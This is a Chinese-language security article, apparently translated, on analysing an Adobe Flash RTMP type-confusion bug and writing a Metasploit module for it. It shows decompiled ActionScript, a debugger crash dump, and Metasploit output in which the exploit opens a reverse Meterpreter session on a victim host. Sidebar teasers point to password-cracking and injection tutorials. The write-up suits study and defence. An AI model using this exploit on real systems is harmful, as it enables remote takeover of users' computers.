驱动管家:安全、高效、精准的专业驱动下载站!

adobe flash漏洞的后果 如何在metasploit编写该漏洞exp?

2018-01-30 20:33:19责编:llp   来源:驱动管家     人气:

上个月爆了一个Adobe Flash的漏洞,影响Windows, Macintosh和Linux平台下的Adobe Flash Player 11.2.202.233和之前版本,Android 4.x下Adobe Flash Player 11.1.115.7及之前版本,Android 3.x和2.x下的Adobe Flash Player 11.1.111.8及之前版本存在一个对象混淆引起的严重漏洞。这个漏洞可导致应用程序崩溃或可能允许攻击者完全控制受影响系统。

根据报告,此漏洞目前在网络上已经积极被利用,通过诱使用户点击嵌入到Email消息中的以文件来触发。利用的程序目标针对windows平台上的Flash Player。

今天我们来研究一下如何在Metasploit中编写该漏洞的EXP。

最初我们发现了这个漏洞的样本,并开始分SWF(Shockwave文件),我们发现该漏洞利用SWF堆喷射技术使攻击者可以操纵应用程序的内存分配,可以控制内存特定的区域,然后可以执行任意shellcode。但是我们并没有在实际环境中触发该漏洞。经过更多的测试之后,我们认为该漏洞很有可能是由于在RTMP传递数据的时候处理AMF (Action Message Format)发生的问题。

复制代码

代码如下:

public function v42(_arg1:String):void{

// The NetConnection class creates a two-way connection

// between a client and a server. The client can be a Flash

// Player or AIR application. The server can be a web server,

//Flash Media Server, an application server running Flash Remoting, or the Adobe Stratus service

this.v15 = new NetConnection();

var _local2 = "rtmp://";

var _local3 = "/TSGeneralSetting";

var _local4:String = ((_local2 + _arg1) + _local3);

// Creates a two-way connection to an application on Flash Media Server or to Flash Remoting, or creates a two-way

// network endpoint for RTMFP peer-to-peer group communication

this.v15.connect(_local4);

// Calls a command or method on Flash Media Server or on an application server running Flash Remoting

this.v15.call("systemMemoryCall", this.v16, "argc");

}

adobe flash漏洞的后果 如何在metasploit编写该漏洞exp?

我们建立了一个自己的Flash Media Server来检测数据传输时的信息。如下图:

第一个猜测是在systemMemoryCall()的响应解析时可能会触发漏洞,但是我们的RTMP服务器没有识别到该函数的调用,而且返回了一个AMF的错误信息。进一步测试我们捕获受感染机器与RTMP服务器之间的RTMP通信,如下图:

adobe flash漏洞的后果 如何在metasploit编写该漏洞exp?

恶意RTMP服务器响应的“_error”信息如下,看起来如下:

Field NameTypeDescription Command Name

String

_error indicates an error

Transaction ID

Number

Transaction ID

Information

Object

Name-value pairs that describe the response from|the server ‘code’, ‘level’, ‘description’ are names of few.

运行了RTMP “_error” 响应之后,我们终于能够让Adobe Flash触发该漏洞,如下:

复制代码

代码如下:

(348.540): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000

eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc

cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00050202

Flash32_11_2_202_228!DllUnregisterServer+0x300e84:

104b1b2d 8b422cmov eax,dword ptr [edx+2Ch]

ds:0023:44444470=????????

0:000> u eip

Flash32_11_2_202_228!DllUnregisterServer+0x300e84:

104b1b2d 8b422cmov eax,dword ptr [edx+2Ch]

104b1b30 53pushebx

104b1b31 ffd0calleax

因为处理畸形的 RTMP _error会产生类型混乱,所以在测试该漏洞时不需要等待systemMemoryCall()请求,相反,一个恶意的RTMP服务器可以返回一个制作好的恶意”_error” 响应信息,包含一个链接RTMP服务器的命令。这样我们更容易建立Metasploit的模块。

Metasploit的支持许多不同的协议,但是没有RTMP,所以我们建立了一个Rex::Socket::TcpServer的API,可以跟客户端产生交互的RTMP。提供三次握手协议和服务器恶意的_error响应信息。

如下:

复制代码

代码如下:

msf > use exploit/windows/browser/adobe_flash_rtmp

msfexploit(adobe_flash_rtmp) >exploit

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.157:4444

[*] Using URL: http://0.0.0.0:8080/Sgs7eu3zjBo0

[*]Local IP: http://192.168.1.157:8080/Sgs7eu3zjBo0

[*] Server started.

msfexploit(adobe_flash_rtmp) > [*] 192.168.1.158adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0

[*] 192.168.1.158adobe_flash_rtmp - Using msvcrt ROP

[*] 192.168.1.158adobe_flash_rtmp - Sending html

[*] 192.168.1.158adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0/BnKXAzRw.swf

[*] 192.168.1.158adobe_flash_rtmp - Sending Exploit SWF

[*] 192.168.1.158adobe_flash_rtmp - Connected to RTMP

[*] Sending stage (752128 bytes) to 192.168.1.158

[*] Meterpreter session 1 opened (192.168.1.157:4444 -> 192.168.1.158:1840) at 2012-06-22 11:11:16 +0200

[*] Session ID 1 (192.168.1.157:4444 -> 192.168.1.158:1840) processing InitialAutoRunScript 'migrate -f'

[*] Current server process: iexplore.exe (2284)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 3904

[+] Successfully migrated to process

该模块在新的Metasploit中已经支持。请下载或更新到最新版本使用即可。

via/Juan Vazquez 译/freebuf

  • vmware是什么?vmware软件存在允许用户获得权限提升和拒绝服务漏洞

    vmware是什么?vmware软件存在允许用户获得权限提升和拒绝服务漏洞

    描述: BUGTRAQ ID: 28289 CVE(CAN) ID: CVE-2007-5618,CVE-2008-1364,CVE-2008-1340VMWare是一款虚拟PC软件,允许在一台机器上同时运行两个或多个Windows、DOS、LINUX系统。VMWare产品中存在多个安全漏洞

    详情2018-01-23 17:00:10责编:llp   来源:驱动管家     
  • debug是什么意思?如何使用debug去清除cmos密码?

    debug是什么意思?如何使用debug去清除cmos密码?

    debug是什么意思?在DOS系统中的调试程序,程序名称就叫DEBUG;在windows系统中有DEBUG调试工具;在程序开发软件类中,有专门DEBUG调试菜单。它的来源故事是美国计算机科学家葛丽丝·霍波(Grace Hopper)在调试

    详情2018-01-18 08:52:44责编:llp   来源:驱动管家     
  • android教程:android有哪些层次和组件?

    android教程:android有哪些层次和组件?

    Android系统承袭了Linux开源操作系统的安全特性,并采用了层次化的方式来保证系统安全,本文将详细介绍Android层次化安全架构及其核心组件。 style="padding-top: 0px; padding-right: 0px; padding-bottom:

    详情2018-01-30 12:20:49责编:llp   来源:驱动管家     
  • 心脏出血漏洞检测 心脏出血漏洞检测软件

    心脏出血漏洞检测 心脏出血漏洞检测软件

    小编带来了心脏出血漏洞检测软件下载地址,大家可以下载心脏出血漏洞一键检测app,为了我们账户的安全,大家都可以检测一下自己的手机是否存在心脏出血漏洞哦~尽管“心脏出血”是一个网络漏洞,但是某些手机App通

    详情2018-01-07 08:24:37责编:llp   来源:驱动管家     
  • 公共wifi密码安全吗?公共wifi密码共享有哪些坏处?

    公共wifi密码安全吗?公共wifi密码共享有哪些坏处?

    因为接触这个行业,所以在密码方面有深深的恐惧。商场里提供免费wifi,然后也提供支付宝微信支付,竟然有这么多人真的敢用着公用wifi付款买单,市场上共享wifi密码的软件层出不穷,我相信你肯定也用过,可你真的

    详情2018-01-05 09:18:07责编:llp   来源:驱动管家     
  • 恶意程序:开发工具blackhole是怎么勒索的?

    恶意程序:开发工具blackhole是怎么勒索的?

    随着时代的发展,当代木马恶意软件的趋势并不仅仅是通过洪水般的广告让你电脑当机或者是偷取你的银行密码,而是会将你的电脑锁住,让你不能干任何事情,除非你交了“赎金”。最近流行的“勒索软件”首次发现是在a

    详情2018-01-02 16:03:19责编:llp   来源:驱动管家     
  • 破解禁用的盘符先要修改盘符,后要映射盘符

    破解禁用的盘符先要修改盘符,后要映射盘符

    网吧网管为了防止重要的备份文件,被上网用户有意或者无意的删除,通常都会将机器某个盘符驱动器禁用,让我们无法访问到里面所含有的文件。而大部份上网用户,在毫不知情的情况下,把重要资料存到了禁用盘符,这

    详情2018-01-29 15:26:55责编:llp   来源:驱动管家     
  • 多多淘宝客防注入代码是什么?有什么漏洞?

    多多淘宝客防注入代码是什么?有什么漏洞?

    本文详解了多多淘宝客V7 4绕过防注入及一个注入漏洞的分析由于程序是开源程序并下载其程序看了一番。其实程序员还是有一点安全意识的:防注入代码:这段代码多少还是有瑕疵的、只过滤 get post 我们只要找调用

    详情2018-01-22 13:20:54责编:llp   来源:驱动管家     
  • 如何利用嗅探破解系统管理员密码?嗅探破解系统管理员密码的步骤

    如何利用嗅探破解系统管理员密码?嗅探破解系统管理员密码的步骤

    在内网嗅探的时候经常嗅探到N多的SMB散列值。但我没有见过有教程说如何利用破解。(除了CAIN自带的破解功能外)。这里是一个方法,希望对大家有帮助。。。先用CAIN抓出 SMB的散列值,选择你要破解的远程计算机用

    详情2018-01-30 14:39:04责编:llp   来源:驱动管家     
  • 如何利用fck编辑器漏洞爆路径?

    如何利用fck编辑器漏洞爆路径?

    哈哈 夜猫纸 有木有!!!这编辑器漏洞该有的论坛也有了 也没啥好写的了 这个爆路径也不知道大家遇没遇到过。。刚发现这东东 不敢私用 搬上来分享。如题 爆路径的问题。 原理应该跟其他的爆路径差不多

    详情2018-01-17 18:58:33责编:llp   来源:驱动管家